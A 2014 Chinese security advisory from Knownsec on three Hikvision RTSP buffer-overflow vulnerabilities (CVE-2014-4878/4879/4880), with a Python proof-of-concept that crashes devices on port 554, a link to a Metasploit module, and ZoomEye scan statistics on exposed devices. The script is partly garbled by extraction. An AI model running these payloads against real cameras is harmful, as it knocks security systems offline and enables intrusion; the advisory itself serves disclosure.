2024年3月5日发(作者:)

文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4

密级

公开

海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要

[第四版 2014/11/30 上午]

知道创宇安全研究团队

北京知道创宇信息技术有限公司 第1页

文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4

1. 更新情况

版本 时间

第一版 2014/11/28 下午

第二版 2014/11/28 晚

描述

第一版完成。

1. 新增:ZoomEye 应急数据;

2. 新增:ZoomEye 第一组数据:批量测试;

3. 新增:ZoomEye 第二组数据:设备数量及状态;

1. 更新:细节修正;

2. 新增:ZoomEye 第一组数据:添加测试数据;

3. 更新:ZoomEye 第二组数据:测试结果更新;

1. 更新:修正一些小问题;

2. 新增:ZoomEye 第二组数据:国内设备分布情况;

第三版 2014/11/29 下午

第四版 2014/11/30 上午

2. 漏洞概要

2014年11月19日,海康威视(Hikvision)监控设备被爆严重漏洞,具体编号为CVE-2014-4878、CVE-2014-4879和CVE-2014-4880。这三个漏洞都是由于Hikvision监控设备对RTSP(实时流传输协议)请求处理不当导致的,通过该漏洞攻击者可以对设备进行DoS,甚至直接获取设备的最高权限。

a) 漏洞描述

海康威视(Hikvision)监控设备在年初时就曾被爆过后台弱口令漏洞,攻击者可以通过弱口令进入后台对设备进行查看或者配置。这次所爆出3个漏洞都因海康威视(Hikivision)监控设备在处理RTSP请求时,使用了固定的缓冲区来接收用户输入,从而用户可发送一个更大的数据来进行请求,最终导致服务端缓冲区溢出。攻击者可以通过溢出来改变服务端的程序执行流程,从而执行任意代码。

有关RTSP协议的RFC文档可以看这里:

/rfc/

漏洞信息相关:

/community/metasploit/blog/2014/11/19/r7-2014-18-hikvision-dvr-devices--multiple-vulnerabilities

根据Rapi7的报告,其漏洞触发点都在RTSP协议的具体实现里。

CVE-2014-4878:根据报告描述,其漏洞成因是在Hikvision的监控设备处理RTSP请求时,使用了固定的缓冲区接受body,当攻击者发送一个较大的body时,可能会产生溢出,致使服务crash等。

CVE-2014-4879:RTSP对请求头的处理同样也使用了固定大小的缓冲区,攻击者可以构造一个足够长的头部来填满缓冲区,产生溢出。

北京知道创宇信息技术有限公司 第2页

文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4

CVE-2014-4880:RTSP在对事务对基础认证头进行处理的时候,同样由于使用了固定的缓冲区,导致攻击者可通过构造来进行溢出,甚至执行任意命令。

b) 漏洞影响

海康威视安防设备,此次漏洞可能会影响到:

 启用了RTSP(端口554)的设备。

c) 漏洞验证

可以运行以下脚本来检查设备是否存在此次漏洞(对开启了RTSP的Hikvision监控设备进行测试),程序带有攻击性,请谨慎使用:

测试脚本(hikvision_rtsp_buffer_overflow_):

#!/usr/bin/env python

# coding: utf-8

import sys

import socket

from time import sleep

def cve20144878_poc(host):

payload = 'PLAY rtsp://%s/ RTSP/1.0rn' % host

payload += 'CSeq: 7rn'

payload += 'Authorization: Basic AAAAAAArn'

payload += 'Content-length: 3200rnrn'

payload += 'A' * 3200

return payload

def cve20144879_poc(host):

payload = 'PLAY rtsp://%s/ RTSP/1.0rn' % host

payload += 'Authorization'

payload += 'A' * 1024

payload += ': Basic AAAAAAArnrn'

return payload

def cve20144880_poc(host):

payload = 'PLAY rtsp://%s/ RTSP/1.0rn' % host

payload += 'CSeq: 7rn'

payload += 'Authorization: Basic '

payload += 'A' * 2048

北京知道创宇信息技术有限公司 第3页

文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4

payload += 'rnrn'

payload += 'B' * 1024

return payload

def check_port_on(host):

soc = (_INET, _STREAM)

check_target = (host, 554)

port_status = t_ex(check_target)

if port_status == 0:

return True

else:

return False

def check_vuln_exists(host, poc):

soc = (_INET, _STREAM)

try:

t((host, 554))

except :

return False

if poc == '1':

payload = cve20144878_poc(host)

elif poc == '2':

payload = cve20144879_poc(host)

else:

payload = cve20144880_poc(host)

(payload)

()

sleep(1) # sleep to wait server crash

soc = (_INET, _STREAM)

try:

t((host, 554))

except :

return True

return False

北京知道创宇信息技术有限公司 第4页

文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4

if __name__ == '__main__':

if .__len__() < 3:

print 'nUsage: %s ' % [0]

print 'n[-] POC choose'

print 't1 ==> CVE-2014-4878'

print 't2 ==> CVE-2014-4879'

print 't3 ==> CVE-2014-4880'

()

target = [1]

poc_number = [2]

if poc_number not in '123':

print 'Choose one POC.'

()

if check_port_on(target):

vuln_exists = check_vuln_exists(target, poc_number)

if vuln_exists:

print 'Target is vulnerable.'

else:

print 'Target may not be vulnerable.'

else:

print 'RTSP(port 554) closed'

执行脚本进行测试,如果通过向目标554端口发送恶意构造的payload,导致服务端缓冲区溢出,导致服务crash,但设备默认具有自启动功能。因此利用此次漏洞,攻击者可以对监控设备进行DoS攻击。(再次提醒此测试脚本具有攻击性,请谨慎使用)

以下是一些测试截图:

CVE-2014-4878测试:

CVE-2014-4879测试:

北京知道创宇信息技术有限公司 第5页

文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4

CVE-2014-4880测试:

有关CVE-2014-4880的利用,msf也给出了相应的攻击模块,其只对Hikvision-DS-7204-HVI-SV且固件为V2.2.10 build 131009的设备进行了测试。因设备的差异,导致shellcode可能不通用,因此要测试所有设备,还需对每种设备服务crash后的堆栈情况进行分析,构造出相应的shellcode。

msf攻击测试模块链接如下:

/mschloesser-r7/metasploit-framework/blob/master/modules/exploits/linux/misc/hikvision_rtsp_(此脚本具有攻击性,请谨慎测试)

3. ZoomEye应急概要

此次爆出的海康威视(Hikvision)安防设备远程代码执行漏洞主要是因为RTSP协议实现不当造成的,去年也曾爆过类似的洞(/advisories/hikvision-ip-cameras-multiple-vulnerabilities),但好像并没有引起重视。海康威视(Hikvision)安防设备在全球有着不小的用户量,此次漏洞虽然只针对RTSP协议,但从小量的测试结果可以看出危害还是不能忽视的。

来自知道创宇的ZoomEye团队(钟馗之眼网络空间探知系统)针对此次漏洞,通过几种方式的检测,得到了些影响结论。

注意:以下这些主机都是可被直接远程攻击的,属于高危级别!

a) 第一组数据

2014/11/28

通过ZoomEye对海康威视(Hikvision)安防设备的第一个指纹进行搜索:"DVRDVS Webs",从中随机提取101条结果进行测试。

北京知道创宇信息技术有限公司 第6页

文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4

最终结果为:

101个测试目标中,开放了RTSP(即554端口)的有58个;58个开放了RTSP的目标中,验证成功的有57个,只有1个没有验证成功。

RTSP(即554端口)开放率:57.42%

测试成功率:98.27%

2014/11/29

通过ZoomEye对海康威视(Hikvision)安防设备的第二个指纹进行搜索:"Hikvision Webs",从中随机提取102条结果进行测试。

北京知道创宇信息技术有限公司 第7页

文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4

最终结果为:

102个测试目标中,开放了RTSP(即554端口)的有27个;27个开放了RTSP的目标中,验证成功的有25个,只有2个没有验证成功。

RTSP(即554端口)开放率:26.47%

测试成功率:92.59%

b) 第二组数据

2014/11/28

ZoomEye针对全国范围内的海康威视(Hikvision)安防设备进行了扫描,得到的数据为:

指纹 数量(台)

10911

开放了RTSP的设备数量(台)

4617

2366

RTSP开放率

42.31%

21.76%

DVRDVS Webs

Hikvision Webs

10869

(注:因此次漏洞可能导致DoS,所以并没有进行大规模测试验证)

从RTSP启动的情况来看,全国大约有32.06%的海康威视安防设备开放了RTSP。

结合第一组数据得到的结果,可以推算出全国大约还有30.59%的海康威视安防设备可能受到被攻击的危险。

2014/11/30

ZoomEye 团队针对全国范围内的 Hikvision 设备绘制了漏洞影响分布图。

从图中可以明显看出,江浙一带的海康威视(Hikvision)安防设备分布极其密集。

北京知道创宇信息技术有限公司 第8页

文档名称:海康威视(Hikvision)安防设备远程代码执行漏洞 应急概要 V4

4. 相关资源链接

1. 知道创宇官网:/

2. 知道创宇旗下 - ZoomEye官网:/

北京知道创宇信息技术有限公司 第9页